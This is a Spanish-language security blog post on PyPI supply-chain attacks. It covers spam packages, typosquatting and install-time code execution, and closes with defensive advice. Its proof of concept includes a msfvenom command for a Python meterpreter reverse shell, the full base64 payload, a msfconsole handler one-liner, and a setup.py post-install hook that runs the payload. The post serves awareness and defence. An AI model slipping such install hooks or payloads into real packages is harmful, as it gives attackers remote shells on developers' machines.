¿PyPI es seguro realmente? conoce alguno de los vectores de ataques más populares en este repositorio.

Todo lenguaje de programación con fuerte relevancia en el mundo del desarrollo cuenta con una especie de compendio/indice/almacen de paquetes libres y accesibles para cualquiera; un paquete es un conjunto de código con varias funcionalidades que pueden emplearse como herramientas adicionales a la hora de desarrollar software.

PyPI es el indice oficial de paquetes para Python; si alguna vez introdujiste pip install requests en tu terminal usaste PyPI cualquier paquete instalado por pip proviene directamente de PyPI, algo alarmante es que existan paquetes como:

Ejemplo de Paquete SPAM en PyPI

Ningún desarrollador en su sano jucio descargaría un paquete como estos, su intención no es ser descargados mediante pip es ser vistos desde la página oficial de PyPI, lograr interacción y ganar backlinks (retroenlaces en SEO) garantizando su aparición en motores de búsqueda como Google, Duckduckgo, etc. Es completamente increíble lo que se puede hacer con Administradores de Paquetes y entre los más recientes escandalos se encuentra los generados por Alex Birsan que logró vulnerar la seguridad de Microsoft, Apple, entre otras empresas a través de Administradores de Paquetes como: npm (Node), pip (Python) y gem (Ruby), este es el enlace a su post.

Los paquetes mencionados son los menos peligrosos ya que no continen códigos maliciosos y a primera vista tienen todas las características de SPAM, no obstante, existen distintos formas de vulnerar tu seguridad a través de pip, en este post abordaremos algunos de ellos.

Vectores de Ataques

Un vector de ataque es una vía/medio por la cual un ciberdelincuente logra comprometer la seguridad de un dispositivo tecnológico, en este caso, en fases de desarrollo. Como desarrolladores gran parte del trabajo es ver la forma de solucionar problemas, a veces «no es necesario re-inventar la rueda» existen paquetes en PyPI para facilitarnos tareas, en el proceso de busqueda e instalación de un paquetes todo podría pasar, a continuación se exponen los vectores de ataque más populares a través de PyPI.

Typosquatting

Este es provocado cuando no escribimos correctamente el nombre de un paquete, como por ejemplo:

pip install djngo

pip install resquests

pip install python3-dateutil

pip install jeIlyfish

Los dos últimos ejemplos fueron paquetes reales y estuvieron en PyPI al rededor de un año sin ser descubiertos (este enlace contiene mayor detalle), los atacantes simplemente eligen las variantes del nombre de un paquete relativamente popular y lo ocupan con código malicioso o inservible, al momento de instalar el paquete contienen rutinas postscript que dependiendo de los privilegios con los que ejecutes pip pueden causar problemas como:

  • Robo de llaves SSH y GPG
  • Robo de variables de entorno
  • Instalación de Malware

Ejecución de Código Arbitrario

Es un vector de ataque que se encuentra bien acompañado de Typosquatting, sin embargo, se relaciona más con la manera en la que se empaqueta un paquete de Python. Para subir un paquete a PyPI se necesitan en esencia 3 cosas:

  • Estructura de código acorde a sus especificaciones
  • Archivo de configuración setup.py acorde a las carácteristicas del paquete.
  • Cuenta de usuario activa en PyPI

A PyPI puedes subir incluso un «hola mundo» si gustas, es sumamente permisivo, pero no olvides que PyPI es como el viejo oeste, cualquiera entra pero no cualquiera sale (se descarga y usa activamente). El archivo setup.py tienes sus particularidades ya que permite ejecutar código como procedimiento posterior al de instalación o más conocido como proceso de post-instalación, en la que el creador del paquete pone las rutinas necesarias que aseguran el buen funcionamiento del paquete una vez instalado, no obstante, es una fase aprovechada por ciberdelincuentes para introducir codigo malicioso. A continuación la prueba de concepto.

Prueba de Concepto

Para la prueba de concepto emplearemos:

  • msfconsole
  • msfvenom
  • Python

Primeramente generamos código malicioso con el comando:

msfvenom -p python/meterpreter/reverse_tcp -f raw -o demo.py LHOST=192.168.120.13

LHOST hace referencia a la IP a la que debe conectarse el código malicioso para establecer el shell-reverso, el código de salida es demo.py y su contenido es similar a este:

exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTIwLjEzJyw0NDQ0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZShkKSkseydzJzpzfSkK')[0]))

La cadena enigmática esta codificada en base 64 y es código que realiza una conexión socket a un servidor en escucha (el siguiente paso consiste en inciar tal servidor) para posteriormente recibir otra instrucción codificada en base-64 y ejecutarla con exec (función en python).

Código malicioso decodificado

Posteriormente se ejecuta msfconsole, que iniciará el servidor de shell-inverso:

msfconsole -qx 'use multi/handler; set payload python/meterpreter/reverse_tcp; set lhost 0.0.0.0; run'

Finalmente el código enigmático en base64 puede adjuntarse a un archivo setup.py como procedimiento de post-instalación como se ve a continuación:

import setuptools
from setuptools.command.install import install

class PostInstallCommand(install):
    def run(self):
        exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('SOME_BASE64_MALICIUS_CODE')[0]))
        install.run(self)

setuptools.setup(
    name="module-demo",
    version="0.0.1",
    author="Authornymous",
    author_email="",
    description="This is a demo description",
    long_description="description",
    long_description_content_type="text/markdown",
    license='MIT',
    url="https://github.com/demo/demo_repo",
    project_urls={
        "Bug Tracker": "https://github.com/demo/demo_repo/issues",
    },
    classifiers=[
        "Programming Language :: Python :: 3",
        "License :: OSI Approved :: MIT License",
        "Operating System :: OS Independent",
        'Development Status :: 3 - Alpha',
        'Intended Audience :: Developers',
        'Topic :: Software Development :: Build Tools',
    ],
    keywords=["happy", "hacking"],
    packages=["module_demo"],
    package_data={},
    install_requires=[],
    python_requires=">=3.0",
    cmdclass={
        "install": PostInstallCommand
    }
)

Basta con ejecutar python setup.py install para ver que el servidor en espera registra una sesión abierta

msfconsole con 1 cliente vulnerado

Evita Sorpresas

Algunos consejos al momento de usar PyPI son:

  • Revisa el paquete que deseas descargar, todos tienen asociados el repositorio en el cual el código esta disponible, dar un vistazo al código puede ser sumamente retroalimentativo, la mayoría de los paquetes tienen soluciones ingeniosas y elegantes.
  • Nunca ejecutes pip con privilegios de superusuario, salvo excepciones en las que sabes el contenido de lo que estas instalando.
  • Asegurate de preparar tu «Entorno Virtual» antes de instalar paquetes y empezar a programar, un entorno virtual tiene multiples beneficios, entre ellos: aislar y administrar tus dependencias.

Las personas que administran PyPI tienen claro el escenario y estan consientes de las limitaciones que cuentan a la hora de controlar y limpiar el patio de juegos, tienen un plan para mitigar los incidentes o eso nos cuenta Cristina Muñoz en su charla Detección automatizada de archivos maliciosos en el repositorio PyPI (enlace a su charla en YouTube) presentada en la PyCon US 2020, es una de las personas responsables del nuevo proyecto de la Python Software Fundation para controlar los problemas anteriormente mencionados, esperemos que resulte y en un futuro los vectores de ataque disminuyan. Por otro lado, tu puedes ser parte de este cambio proponiendo una mejor infraestructura y procedimientos de control más estrictos o contribuir a la caza de paquetes maliciosos como lo hace el investigador en seguridad Jordan Wright (enlace a su artículo).

Ya viste algunas de las formas en las que personas malintencionadas tienden a burlarse de la seguridad de tu ecosistema de desarrollo, su objetivo es claro, sin embargo, depende de nosotros como desarrolladores dar o no lugar a tales incidentes, en ese sentido, te invitamos a aplicar desde ahora algunos de los consejos brindados en este post.

Recuerda, revisa el código antes de instalar un paquete, si no encuentras código malicioso encontrarás mayor conocimiento, todas tienen una forma ingeniosa y elegante de solucionar problemas.

Redacción: Mauricio Matias C. – Software Developer en EHC Group.

Compartir